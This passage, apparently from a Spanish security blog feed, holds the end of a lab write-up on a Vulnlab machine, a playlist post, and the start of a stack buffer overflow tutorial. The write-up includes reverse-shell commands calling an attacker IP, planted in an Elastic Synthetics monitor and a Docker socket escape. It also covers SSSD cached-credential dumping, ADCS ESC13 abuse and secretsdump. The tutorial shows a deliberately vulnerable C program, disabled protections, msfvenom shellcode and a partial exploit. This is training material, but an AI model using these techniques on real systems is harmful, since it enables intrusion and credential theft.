<li><p><a target="_blank" href="https://www.elastic.co/guide/en/observability/master/synthetics-create-test.html#synthetics-request-param">https://www.elastic.co/guide/en/observability/master/synthetics-create-test.html#synthetics-request-param</a></p>
</li>
<li><p><a target="_blank" href="https://www.elastic.co/guide/en/observability/master/synthetics-create-test.html#synthetics-create-journey">https://www.elastic.co/guide/en/observability/master/synthetics-create-test.html#synthetics-create-journey</a></p>
</li>
</ul>
<p>Y otro poco de ayuda de <strong>ChatGPT</strong> realice estos pasos localemente en mi pc atacante:</p>
<pre><code class="lang-bash">npx @elastic/synthetics init elasticRev
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018384418/71e84329-e4e0-4862-8d2e-800ba845ef87.png" alt class="image--center mx-auto" /></p>
<p>Siguiendo el output, podemos generar una <strong>API KEY</strong> desde ese path:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018449924/c1454405-0951-4cca-8236-d9205b6f39c8.png" alt class="image--center mx-auto" /></p>
<p>Finalmente quedaria asi:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018456587/1a7f8b9d-42b0-495f-83d5-e0aebb3fd2a8.png" alt class="image--center mx-auto" /></p>
<p>Modificando el <code>example.journey.ts</code> creo lo siguiente:</p>
<pre><code class="lang-bash">import { journey, step, monitor } from <span class="hljs-string">'@elastic/synthetics'</span>;
import { <span class="hljs-built_in">exec</span> } from <span class="hljs-string">'child_process'</span>;

journey(<span class="hljs-string">'Reverse Shell Exploit'</span>, async () =&gt; {
  monitor.use({
    id: <span class="hljs-string">'exploit-monitor'</span>,
    schedule: 10, // Ejecuta cada 10 segundos
  });

  step(<span class="hljs-string">'Trigger Reverse Shell'</span>, async () =&gt; {
    <span class="hljs-built_in">exec</span>(<span class="hljs-string">'bash -c "bash -i &gt;&amp; /dev/tcp/10.8.0.147/9000 0&gt;&amp;1"'</span>, (error, stdout, stderr) =&gt; {
      console.log(stdout);
      console.error(stderr);
    });
  });
});
</code></pre>
<p>Solo resta hacer un <strong>PUSH</strong> del journey:</p>
<pre><code class="lang-bash">npx @elastic/synthetics push --auth &lt;API_KEY&gt;
</code></pre>
<p>En principio pense que todo estaba mal al ver esto, pero luego en la web vi los monitores creados:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018483417/8cf3873d-a848-4ef5-b8e4-26a9c35c7398.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018487562/2b92e928-920f-4517-a49a-b53248b6c132.png" alt class="image--center mx-auto" /></p>
<p>Luego de unos minutos y con un <strong>netcat</strong> escuchando en el puerto <strong>9000</strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018498744/9c8607e8-9ba0-4adf-bd12-8676cceffccd.png" alt class="image--center mx-auto" /></p>
<p>Como ya sabíamos, esto esta corriendo en un <strong>DOCKER</strong>. Y si leemos una vez mas la hint inicial de <em>vulnlab</em>:</p>
<ul>
<li>Escape the container</li>
</ul>
<p>El camino esta muy claro, sabiendo que el agente de elastic es parte del grupo <strong>root</strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018514798/6384f8d0-4c15-48aa-99a2-356292c68694.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018516538/06168322-a8d8-40e3-8295-67516305a5d0.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">curl --unix-socket /run/docker.sock http://localhost/containers/json
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018562007/9018e666-4732-4da0-9ad5-48148207934f.png" alt class="image--center mx-auto" /></p>
<p>Vamos a explotar esto con una tool conocida <strong>DEEPCE</strong>:</p>
<ul>
<li><a target="_blank" href="https://github.com/stealthcopter/deepce">https://github.com/stealthcopter/deepce</a></li>
</ul>
<p>Dejamos un netcat en el puerto <strong>6000</strong> en mi caso y desde el target descargamos el deepce.sh, le damos permisos de ejecucion y lo ejecutamos:</p>
<pre><code class="lang-bash">./deepce.sh --exploit SOCK --<span class="hljs-built_in">command</span> <span class="hljs-string">"bash -c 'bash -i &gt;&amp; /dev/tcp/10.8.0.147/6000 0&gt;&amp;1'"</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018602202/7b7ec381-c3df-4e8e-99b0-049ed7e36494.png" alt class="image--center mx-auto" /></p>
<p>Obtenemos la shell y también leemos la flag desde el <strong>USER.TXT</strong>. Pero nos damos cuenta que tenemos una shell bastante restringida. Generando una SSH en el ROOT podemos conectarnos desde nuestra maquina atacante y vamos a recibir la terminal estable y funcional.</p>
<h2 id="heading-enumeracion-amp-cachecredentials"><strong>Enumeracion &amp; Cache_Credentials</strong></h2>
<p>Ejecuto <strong><mark>linpeas.sh</mark></strong> y nos arroja que el <strong>cache_credentials</strong> esta habilitado:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018622009/432f72f0-6cad-4d92-a91f-774497352469.png" alt class="image--center mx-auto" /></p>
<p>La opción <code>cache_credentials = True</code> que aparece en la configuración de <strong>SSSD</strong> (System Security Services Daemon) significa que las credenciales de los usuarios autenticados se almacenan en caché localmente.</p>
<p>Esto permite autenticaciones sin conexión al AD, pero también expone la posibilidad de extraer hashes o credenciales desde <code>/var/lib/sss/db/</code>, lo que podría ser explotado para ataques como <strong>pass-the-hash</strong> o escalada de privilegios.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018630224/3be7a38b-6b1c-485f-9a80-726a0699fb54.png" alt class="image--center mx-auto" /></p>
<p>En linux hay un comando llamado <code>tdbdump</code>, que sirve para leer bases de datos <strong>TDB</strong> (Trivial Database). Referencia a una maquina de HTB: <a target="_blank" href="https://0xdf.gitlab.io/2023/04/01/htb-sekhmet.html">https://0xdf.gitlab.io/2023/04/01/htb-sekhmet.html</a></p>
<pre><code class="lang-bash">tdbdump cache_vigilant.vl.ldb |grep cachedPassword
</code></pre>
<p>Creamos un archivo para el hash y lo crackeamos con <strong>hashcat:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018654876/743d1d3d-f2f4-4ed3-a0c3-7c2d881ad307.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-chequeando-los-permisos-desde-bloodhound"><strong>Chequeando los permisos desde Bloodhound</strong></h2>
<p>Si ahora retomamos con lo que al principio habiamos enumerado sobre el AD, observamos que GABRIEL.STEWART pertenece al grupo de <strong>JUNIORADMINS</strong> y este posee <strong>CanPSRemote</strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018670524/f22d08bd-3cef-447b-b54a-5735ff8dcf90.png" alt class="image--center mx-auto" /></p>
<p>Cuando intente conectarme me decia que la contraseña habia expirado asi que opte por cambiarla y use <em>smbpasswd</em>:</p>
<pre><code class="lang-bash">smbpasswd -r vigilant.vl -U <span class="hljs-string">"gabriel.stewart"</span>
</code></pre>
<p>Ahora si logueo via evil-winrm:</p>
<pre><code class="lang-bash">evil-winrm -i 10.10.222.101 -u gabriel.stewart -p <span class="hljs-string">'&lt;REDACTED&gt;'</span>
</code></pre>
<h2 id="heading-escalada-a-domain-admin-via-adcs-esc13"><strong>Escalada a Domain Admin vía ADCS (ESC13)</strong></h2>
<p>Mientras enumero el sistema, noto la presencia de <strong>Active Directory Certificate Services (ADCS)</strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018716518/9ffcfddf-1c89-4fdc-bb5b-816aebf9f8be.png" alt class="image--center mx-auto" /></p>
<p>Enumero con certipy y luego cargo los .json en bloodhound (con un fork de pki nodes for certipy):</p>
<pre><code class="lang-bash">certipy find -vulnerable -u gabriel.stewart@vigilant.vl -p <span class="hljs-string">"&lt;REDACTED&gt;"</span> -dc-ip 10.10.222.101 -stdout
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018751278/e0be05dd-5fe9-40d9-be9a-b44dfbda470b.png" alt class="image--center mx-auto" /></p>
<p>Nuestro usuario tiene permisos de <strong>ENROLL</strong> sobre la plantilla <strong>VIGILANTADMINS</strong>. Dejo una referencia de una web muy completa y que me ayuda mucho en casos similares:</p>
<p><em>Reference: https</em>://<a target="_blank" href="http://www.thehacker.recipes/ad/movement/adcs/">www.thehacker.recipes/ad/movement/adcs/</a></p>
<p>Este caso corresponde al ataque <strong>ESC13</strong>, que permite escalar privilegios abusando de una <em>Issuance Policy</em> mal configurada.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018762629/181fe383-322b-447d-be2e-11de0ac7e80b.png" alt class="image--center mx-auto" /></p>
<p>Si en un entorno con <strong>Active Directory Certificate Services (AD CS)</strong> encuentro una plantilla de certificado que tiene una <strong>Issuance Policy</strong> vinculada a un grupo privilegiado mediante <code>msDS-OIDToGroupLink</code>, puedo abusar de esta configuración para escalar privilegios en el dominio.</p>
<p>Básicamente, si puedo obtener un certificado basado en esta plantilla, mi cuenta (usuario o máquina) heredará los privilegios del grupo vinculado, lo que puede significar acceso total al dominio.</p>
<p>Hay un script <strong>.ps1</strong> que me va a permitir verificar esto rapidamente:<br /><a target="_blank" href="https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1">https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018786682/2489a8ab-181b-413e-b623-3e15a1d254c8.png" alt class="image--center mx-auto" /></p>
<p>El contexto del output es bastante claro pero si buscamos sobre <strong>Temporary Admins</strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018796187/2f977115-fe5f-4b0c-a9b6-0686eb38c6b0.png" alt class="image--center mx-auto" /></p>
<p>Considerando esto, nos permitiría obtener privilegios de administrador en el DC.<br />Por ende solo deberiamos solicitar el certificado con <strong>CERTIPY</strong> de la siguiente manera:</p>
<pre><code class="lang-bash">certipy req -u <span class="hljs-string">'gabriel.stewart'</span> -ca vigilant-CA -target DC.vigilant.vl -template <span class="hljs-string">'VigilantAdmins'</span> -dc-ip 10.10.222.101 -key-size 4096
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018815032/2006af47-d73c-4222-af28-8ebfbc713544.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">certipy auth -pfx gabriel.stewart.pfx -dc-ip 10.10.222.101
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018834824/58e78850-25e0-4598-b668-80810d3174b1.png" alt class="image--center mx-auto" /></p>
<p>Y finalmente:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> KRB5CCNAME=gabriel.stewart.ccache
secretsdump.py -k DC.vigilant.vl
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018851549/81e0022a-890d-4fd7-b3ea-fd0c9da0b2bb.png" alt class="image--center mx-auto" /></p>
<p>Como ya tenemos el ticket, podemos loguear directamente con <strong>evil-winrm</strong> y configurando un realm en <strong><mark>/etc/krb5.conf</mark></strong></p>
<pre><code class="lang-bash">[libdefaults]
        default_realm = VIGILANT.VL

[realms]        
        VIGILANT.VL = {
                kdc = 10.10.222.101
                admin_server = vigilant.vl
                default_admin = vigilant.vl
        }
[domain_realm]
        .vigilant.vl = VIGILANT.VL
</code></pre>
<pre><code class="lang-bash">evil-winrm -i dc.vigilant.vl -r vigilant.vl
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018873320/1ebc2bb6-dde5-4056-9cd0-8469ada7b7ef.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[My Youtube Playlist for Hacking]]></title><description><![CDATA[Music and hacking have always been the perfect combo for me, one can’t exist without the other. Whether I’m deep into a CTF or focused on daily work, music keeps me sharp, motivated, and locked in. Since I couldn’t find a playlist that truly fit my t...]]></description><link>https://myhack.tech/my-spotify-playlist-for-hacking-and-ctf</link><guid isPermaLink="true">https://myhack.tech/my-spotify-playlist-for-hacking-and-ctf</guid><category><![CDATA[myhack]]></category><category><![CDATA[Spotify]]></category><category><![CDATA[music]]></category><category><![CDATA[playlist]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Mon, 27 Jan 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1766691876720/9295bad5-2918-45b3-bd0c-b76ac20e9bbe.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Music and hacking have always been the perfect combo for me, one can’t exist without the other. Whether I’m deep into a CTF or focused on daily work, music keeps me sharp, motivated, and locked in. Since I couldn’t find a playlist that truly fit my taste, I decided to create my own. After months of curating and refining, it now has 1,374 tracks and over 124 hours of pure electronic energy.</p>
<p>It blends Techno, Melodic Techno, Progressive House, Minimal, High-Tech Minimal, Psytrance, and Progressive, with strong Cyberpunk and Dark Techno vibes. You’ll find artists like Reinier Zonneveld, Boris Brejcha, ARTBAT, Amelie Lens, Infected Mushroom, Astrix, Vini Vici, and many more. The playlist is still growing.</p>
<p><strong><mark>YouTube Music</mark></strong><br /><a target="_blank" href="https://music.youtube.com/playlist?list=PLRCkQN5gKEVkmNWcyZCu_-Fddvz8iurEc">https://music.youtube.com/playlist?list=PLRCkQN5gKEVkmNWcyZCu_-Fddvz8iurEc</a></p>
<p><strong><mark>Spotify too</mark></strong><br /><a target="_blank" href="https://open.spotify.com/playlist/3QA5MeyQuxplbsEOfG2JNg?si=70d35360c1f54b89">https://open.spotify.com/playlist/3QA5MeyQuxplbsEOfG2JNg?si=70d35360c1f54b89</a></p>
]]></content:encoded></item><item><title><![CDATA[Binary Exploitation (2) - My First Buffer Overflow]]></title><description><![CDATA[¿Que es un Buffer Overflow?
O conocido en español como: Desbordamiento de Buffer. En principio podemos decir que se distinguen dos tipos primarios de buffer overflow; estos son los desbordamientos de buffer basados en la pila (STACK) y los desbordami...]]></description><link>https://myhack.tech/binary-exploitation-2-my-first-buffer-overflow</link><guid isPermaLink="true">https://myhack.tech/binary-exploitation-2-my-first-buffer-overflow</guid><category><![CDATA[reverse engineering]]></category><category><![CDATA[exploit]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Fri, 17 Jan 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1753934439226/b664f3ad-c04d-4e3b-a369-5deeaf931207.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-que-es-un-buffer-overflow">¿Que es un Buffer Overflow?</h2>
<p>O conocido en español como: <em>Desbordamiento de Buffer</em>. En principio podemos decir que se distinguen dos tipos primarios de buffer overflow; estos son los desbordamientos de buffer basados en la pila (<strong>STACK)</strong> y los desbordamientos de buffer basados en el montón (<strong>HEAP</strong>).</p>
<p>Un desbordamiento de buffer ocurre cuando un programa intenta llenar un bloque de memoria (un buffer de memoria) con más datos de los que este debería contener. Los BoF son vulnerabilidades comunes en aplicaciones de software que se pueden explotar para lograr la ejecución de código remoto (RCE) o realizar por ejemplo un ataque de Denegación de Servicio (DoS).</p>
<h2 id="heading-nuestro-programa-vulnerable-b0fmec">Nuestro programa vulnerable: b0fMe.c</h2>
<pre><code class="lang-bash">// Simple BufferOverflow &lt;shkz&gt;

<span class="hljs-comment">#include &lt;stdio.h&gt;</span>
<span class="hljs-comment">#include &lt;string.h&gt;</span>
<span class="hljs-comment">#include &lt;stdlib.h&gt;</span>
<span class="hljs-comment">#include &lt;unistd.h&gt;</span>

void myfunc(char *pwn){
    char buffer[250];
    strcpy(buffer,pwn);
    setuid(0);
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"No sos un buen hacker\n"</span>);}
int main(int argc, char *argv[]){
    <span class="hljs-keyword">if</span>(argc &lt;2) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Usage: ./b0fMe &lt;input&gt;\n"</span>);
    <span class="hljs-built_in">exit</span>(1);
    }
    myfunc(argv[1]);
    <span class="hljs-built_in">return</span> 0;
}
</code></pre>
<h2 id="heading-porque-es-vulnerable">¿Porque es vulnerable?.</h2>
<p>En la función , se declara buffer con un tamaño fijo de 250 bytes. Sin embargo, el programa no verifica si los datos proporcionados en el argumento pwn exceden ese tamaño.</p>
<p>Luego el programa utiliza la función para copiar la cadena de caracteres desde pwn al buffer. no realiza comprobaciones de límites y simplemente copia datos ciegamente haciendo que sobrescriba la memoria adyacente a buffer.</p>
<p>Y como extra, le pusimos un setuid(0); para que la shell que nos de tenga permisos de root.</p>
<h2 id="heading-deshabilitando-las-protecciones">Deshabilitando las protecciones</h2>
<p>En este primer binario vamos a deshabilitar todas las protecciones, y luego a medida que vaya publicando nuevos textos ire habilitandolas e iremos tratando bypassearlas una por una.</p>
<h2 id="heading-deshabilitar-aslr">Deshabilitar ASLR</h2>
<p>Mas adelante explicare que es esto en profundidad, pero en principio quedarse con el concepto de que Address Space Layout Randomization es una técnica de seguridad que intenta dificultar la explotación del binario agregando una aleatoriedad a las direcciones de memoria que se cambian cada vez que inicia el programa y así hacer mas impredecible la explotación del mismo.<br />Por default en mi caso de Arch el valor esta en: 2, vamos a deshabilitar con 0.<br />(Al reiniciar el sistema, esto se restablecerá. Para hacerlo permanente tienen que hacerlo via sysctl)  </p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> 0 | sudo tee /proc/sys/kernel/randomize_va_space
</code></pre>
<h2 id="heading-compilando-con-gcc-deshabilitando-canary-nx-pie">Compilando con GCC: Deshabilitando CANARY, NX, PIE.</h2>
<p>Como es un código en C, tenemos que compilarlo y para esto lo haremos del siguiente modo deshabilitando algunas protecciones al mismo:</p>
<p>Primero compilaremos esto como <strong>ROOT</strong>, con las siguientes flags deshabilitamos protecciones y con -g le decimos que adjunte el source code para mayor claridad al momento de debuggear:</p>
<pre><code class="lang-bash">gcc -no-pie -fno-stack-protector b0fMe.c -o b0fMe -D_FORTIFY_SOURCE=0 -g -z execstack
chmod +s ./b0fMe
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753912396314/75a92ffb-b4da-4b96-9eb5-41d60bf8a674.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-ejecutando-nuestro-binario-vulnerable-b0fme">Ejecutando nuestro binario vulnerable: b0fMe</h2>
<p>Este binario se enfoca simplemente en el bof. No tiene mucho por hacer. Mas que un mensaje desafiante de respuesta:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753912409930/ebf7099e-29a3-4665-b589-ecc1b566a20c.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-haciendo-bof-desde-el-input">Haciendo BoF desde el INPUT</h2>
<p>Algo muy practico y rápido es ejecutar el binario e invocar la ayuda de python o perl para imprimir bytes rápidamente y testear el buffer. Testeamos con 300 bytes:</p>
<pre><code class="lang-bash">./b0fMe $(python3 -c <span class="hljs-string">'print ("A" * 300)'</span>)
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753912430742/36873b7e-2240-4083-b937-573f442054be.png" alt class="image--center mx-auto" /></p>
<p>Como vemos logramos el Segmentation Fault. En pocas palabras, desbordamos el buffer. Algo lógico conociendo la capacidad que este tenia.</p>
<h2 id="heading-que-es-un-segmentation-fault">¿Que es un Segmentation Fault?</h2>
<p>Un fallo de segmentación (de ahora en mas: segfault) es una condición común que causa que los programas se bloqueen o se detengan. Generalmente ocurre cuando el programa intenta acceder/escribir a una posición de memoria a la que no está permitido.</p>
<h2 id="heading-como-vamos-a-explotar-este-binario">¿Como vamos a explotar este binario?</h2>
<p>Para explotar este BoF optaremos por pensar en lo siguiente:</p>
<ul>
<li><p>Detectar con cuantos Bytes se rompe el programa, el cual nos permitirá sobrescribir el registro RBP.</p>
</li>
<li><p>Crear alguna shellcode que nos permita luego ejecutar /bin/sh</p>
</li>
<li><p>Cambiar el flujo del programa con el registro RIP para que apunte a nuestra shellcode.</p>
</li>
<li><p>Al explotar finalmente, seremos obtendremos shell como root.</p>
</li>
</ul>
<h2 id="heading-usando-gdb-gef-para-debuggear-el-binario">Usando gdb-gef para debuggear el binario</h2>
<p>Voy a usar GDB con algunos auxiliares para reversing y explotacion de binarios. En este link pueden ver cuales recomiendo y como configure dichos complementos:</p>
<p><a target="_blank" href="https://myhack.tech/blog/complementos-de-reversing-y-exploiting-para-gdb/">https://myhack.tech/blog/complementos-de-reversing-y-exploiting-para-gdb/</a></p>
<ul>
<li><p>gdb-gef</p>
</li>
<li><p>gdb-pwndbg</p>
</li>
<li><p>gdb-peda</p>
</li>
</ul>
<p>Ejecutamos gdb-gef para depurar el binario:</p>
<pre><code class="lang-bash">gdb-gef -q ./b0fMe
</code></pre>
<p>Dentro de gdb-gef, podemos utilizar una función llamada <strong>pattern create</strong> para generar un patron de caracteres del siguiente modo:</p>
<pre><code class="lang-bash">pattern create 300
</code></pre>
<p>Al igual que hicimos con el oneline de python, con esta función generamos un patron de caracteres que nos va a permitir identificar de forma mas fácil cuando desborda y sobrescribe el registro RBP.</p>
<p>Cuando creamos un pattern, este se genera con un nombre predefinido, en este caso: “$_gef1”:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753912516926/6e551cad-228e-4167-8fa3-4aadaefce7e4.webp" alt class="image--center mx-auto" /></p>
<p>A continuación corremos el binario y le pasamos el payload creado como input:</p>
<pre><code class="lang-bash">gef run <span class="hljs-variable">$_gef1</span>
</code></pre>
<p>Vemos que GDB nos informa que termino el programa en segfault, justo en la función vulnerable que es donde se encuentra el buffer:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753912534907/f9e857d3-2050-48c4-9ff8-3d1b2cff1df4.png" alt class="image--center mx-auto" /></p>
<p>Si ahora miramos el valor de los registros, vamos a ver lo siguiente:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753912552753/fff9463a-2dd1-4953-b86e-a396a20db409.png" alt class="image--center mx-auto" /></p>
<p>$rbp contiene parte del patron enviado en el payload, y este nos puede ser util para localizar el offset con la siguiente función: <code>pattern search haaaaaab</code>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753912561885/696907bb-4b30-4669-be7e-92ca80147b24.png" alt class="image--center mx-auto" /></p>
<p>Bien, nos hacemos la idea de que vamos a necesitar enviar <strong>256 bytes</strong> para sobrescribir <strong>RBP</strong>, luego los próximos <strong>8 bytes</strong> son dedicados al <strong>SFP</strong> (Stack Frame Pointer | Marco de Pila) y finalmente <strong>6 bytes mas</strong> para controlar <strong>RIP</strong>.</p>
<p>Vamos a ejemplificar esto ultimo para entenderlo mejor. Ejecutemos el siguiente payload y comprobemos si es acertada nuestra idea o no, si todo sale bien, deberíamos tener el control de <strong>RIP</strong>:</p>
<pre><code class="lang-bash">r $(perl -e <span class="hljs-string">'print "A"x256'</span>)BBBBBBBBCCCCCC
</code></pre>
<p>Ahora si miramos los registros:</p>
<pre><code class="lang-bash">i r rbp rip
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753912586200/b5ec7c97-a488-4e1b-8d68-4614576237a2.png" alt class="image--center mx-auto" /></p>
<p>Vemos que <strong>$rbp</strong> fue modificado con los <strong>8 bytes</strong> que le enviamos de la letra <strong>B</strong> (0x42) y luego el registro instruction pointer $rip fue modificado a los <strong>6 bytes</strong> de la letra <strong>C</strong> (0x43).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753912601958/85207502-f5d4-4c36-9742-3aef2df9c2a7.png" alt class="image--center mx-auto" /></p>
<p>Como vimos, <mark>$rip</mark> apunta a <mark>0x434343434343</mark>, por eso es que gdb lo marca con un ??, al no ser una dirección real.</p>
<p>En resumen, con esto sabemos que podemos hacer un BoF, modificar el rbp y controlar rip. Entonces solo queda craftear una Shellcode para explotar el binario y obtener una /bin/sh, y como controlamos RIP apuntara a nuestra shellcode.</p>
<h2 id="heading-nop-slide">NOP Slide</h2>
<p>Es una técnica muy vieja y conocida. Se basa en generar una secuencia de instrucciones NOP (No-Operation) donde se redirige la ejecución del programa cuando un objetivo de una instrucción no se conoce exactamente.</p>
<p>Cuando escribimos un exploit para aprovechar alguna vulnerabilidad en un programa, es esencial pensar que dicho programa puede ser compilado en diversos entornos, resultando en direcciones de memoria distintas.</p>
<p>Para encarar este problema, se recurre a una técnica llamada NOP slide, que implica dirigir la ejecución del programa hacia una región de memoria llenas de instrucciones NOP. La instrucción NOP en lenguaje ensamblador está diseñada para no hacer nada básicamente.</p>
<p>Entonces en nuestro ejemplo, cuando creamos el exploit la dirección de retorno apuntara hacia algunas direcciones de las instrucciones NOP que les enviamos al buffer, permitiendo que la ejecución continúe directamente hasta el inicio del shellcode sin ningún problema. De este modo no necesitaríamos con exactitud saber la direccion de donde comienza nuestra shellcode.</p>
<p>Para determinar cuántas instrucciones NOP necesitamos, se realiza un cálculo restando la longitud de nuestro shellcode al tamaño total del buffer.</p>
<h2 id="heading-creando-nuestra-shellcode-con-msfvenom">Creando nuestra shellcode con MSFVENOM.</h2>
<p>Una shellcode es un fragmento de código de instrucciones en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack)<br />de ejecución de un programa para conseguir que la máquina en la que reside se<br />ejecute la operación que se haya programado. Por ejemplo aprovechar para realizar acciones específicas, como en este caso, obtener una shell (/bin/sh) u otorgarle SUID Root.</p>
<p>En esta ocasión vamos a generar un shellcode con MSFVENOM. Sin profundizar mucho en esta ocasion, ya luego veremos sobre la creación de shellcodes, eliminación de badchars, etc etc. De momento para este caso, lo creo del siguiente modo:</p>
<pre><code class="lang-bash">msfvenom -p linux/x64/<span class="hljs-built_in">exec</span> --platform linux -f c -b <span class="hljs-string">'\x00\x09\x0a\x20\x0d'</span>
</code></pre>
<p>Una vez que tenemos nuestra shellcode. Vamos a crear un pequeño script en python llamado “<a target="_blank" href="http://exploit.py"><strong>exploit.py</strong></a>“. Iremos haciéndolo paso a paso.</p>
<h2 id="heading-creacion-del-exploit-exploitpyhttpexploitpy">Creacion del exploit: <a target="_blank" href="http://exploit.py">exploit.py</a></h2>
<ol>
<li><h3 id="heading-escribiendo-la-shellcode">Escribiendo la shellcode</h3>
</li>
</ol>
<p>Lo primero que debería tener este template del PoC es la shellcode, ya que es lo primero asegurado que tenemos:</p>
<pre><code class="lang-bash">import sys

<span class="hljs-comment"># Shellcode -- /bin/sh @ msfvenom</span>

shellcode = b<span class="hljs-string">"\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef"</span>
shellcode += b<span class="hljs-string">"\xff\xff\xff\x48\xbb\xb5\xfb\xfb\x9b\xfe\x95\x0c\x70\x48"</span>
shellcode += b<span class="hljs-string">"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfd\x43\xd4"</span>
shellcode += b<span class="hljs-string">"\xf9\x97\xfb\x23\x03\xdd\xfb\x62\xcb\xaa\xca\x5e\x2e\xdf"</span>
shellcode += b<span class="hljs-string">"\xc0\xa3\x94\xfb\x95\x0c\x70"</span>;
</code></pre>
<ol start="2">
<li><h3 id="heading-escribimos-nops-y-calculamos-espacio-para-la-shellcode">Escribimos NOPs y calculamos espacio para la shellcode</h3>
</li>
</ol>
<p>Luego creamos una secuencia de NOPs (‘\x90’) con una longitud de 256 bytes (valor de buffer) menos la longitud del shellcode, de este modo nos aseguramos espacio para nuestra shellcode en buffer.</p>
<pre><code class="lang-bash">nop = b<span class="hljs-string">"\x90"</span>*(256-len(shellcode))
</code></pre>
<ol start="3">
<li><h4 id="heading-generamos-8-nops-mas-para-sobreescribir-rbp">Generamos 8 NOPs mas para sobreescribir RBP</h4>
</li>
</ol>
<pre><code class="lang-bash">rbp = b<span class="hljs-string">"\x90"</span>*8
</code></pre>
<h2 id="heading-nuestro-poc-parcial-quedaria-asi">Nuestro PoC parcial quedaria asi:</h2>
<pre><code class="lang-bash">import sys

<span class="hljs-comment"># Shellcode -- /bin/sh @ msfvenom</span>
shellcode = b<span class="hljs-string">"\x48\x31\xc9\x48\x81\xe9\xfd\xff\xff\xff\x48\x8d\x05\xef"</span>
shellcode += b<span class="hljs-string">"\xff\xff\xff\x48\xbb\xb5\xfb\xfb\x9b\xfe\x95\x0c\x70\x48"</span>
shellcode += b<span class="hljs-string">"\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xfd\x43\xd4"</span>
shellcode += b<span class="hljs-string">"\xf9\x97\xfb\x23\x03\xdd\xfb\x62\xcb\xaa\xca\x5e\x2e\xdf"</span>
shellcode += b<span class="hljs-string">"\xc0\xa3\x94\xfb\x95\x0c\x70"</span>;

<span class="hljs-comment"># Set values</span>
nop = b<span class="hljs-string">"\x90"</span>*(256-len(shellcode))
rbp = b<span class="hljs-string">"\x90"</span>*8

sys.stdout.buffer.write(nop+shellcode+rbp)
</code></pre>
<p>Con <strong><em>sys.stdout.buffer.write</em></strong> es una forma de escribir bytes directamente en el buffer de salida estándar (stdout) y no realiza ninguna codificación de caracteres.<br />Esto no agrega el carácter de nueva línea \n al final.</p>
<p>Lo ultimo que nos quedaria es darle una direccion a RIP para que apunte a la zona de nuestra shellcode. Pero primero ejecutemos nuestro PoC parcial y verifiquemos:</p>
<pre><code class="lang-bash">python3 exploit.py &gt;exploit
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753912791080/3a1dead3-07ba-42e4-b645-8cf0898bf3a3.png" alt class="image--center mx-auto" /></p>
